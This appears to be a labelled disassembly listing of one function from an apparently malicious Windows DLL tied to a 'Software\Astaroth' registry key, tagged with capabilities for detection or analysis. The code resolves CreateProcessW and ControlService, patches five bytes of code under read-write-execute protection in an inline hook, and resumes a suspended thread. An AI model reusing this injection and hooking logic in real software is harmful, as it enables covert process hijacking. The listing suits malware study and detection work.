Function at 0x100023a0
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100053c4
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.CreateProcessW
push str.kernelbase.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10008654], eax
call fcn.100039a0
push 0x10008654
mov edx, 0x10002250
mov ecx, dword [0x10008654]
call fcn.100039d4
xor ecx, ecx
call fcn.10003bbe
push str.ControlService
push 0x10006638
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10008658], eax
push 0x10008658
mov edx, 0x10002240
mov ecx, dword [0x10008658]
call fcn.100039d4
xor ecx, ecx
call fcn.10003bbe
push 0x10006648
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10008650], eax
push 0x10008650
mov edx, 0x10002240
mov ecx, dword [0x10008650]
call fcn.100039d4
xor ecx, ecx
call fcn.10003bbe
push 0xc
call fcn.100044f1
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0
je 0x100024b5
xor eax, eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push 0
push str.SoftwareAstaroth
push 0x80000001
mov ecx, dword [ebp - 0x28]
call fcn.10001450
mov dword [ebp - 0x34], eax
jmp 0x100024bc
mov dword [ebp - 0x34], 0
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100025d5
push str.StoredData
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x40], eax
push str.SpinLock
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov al, byte [ecx + 4]
mov byte [ebp - 0x14], al
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
push 0x40
push 5
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov dl, byte [ebp - 0x14]
mov byte [eax + 4], dl
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 5
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Thread
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10002594
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x100025ce
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x24]
call fcn.10001480
mov edx, 1
and edx, 1
je 0x100025c6
push 0xc
mov eax, dword [ebp - 0x24]
push eax
call fcn.10004526
add esp, 8
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
jmp 0x100025d5
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100044e3
mov esp, ebp
pop ebp
ret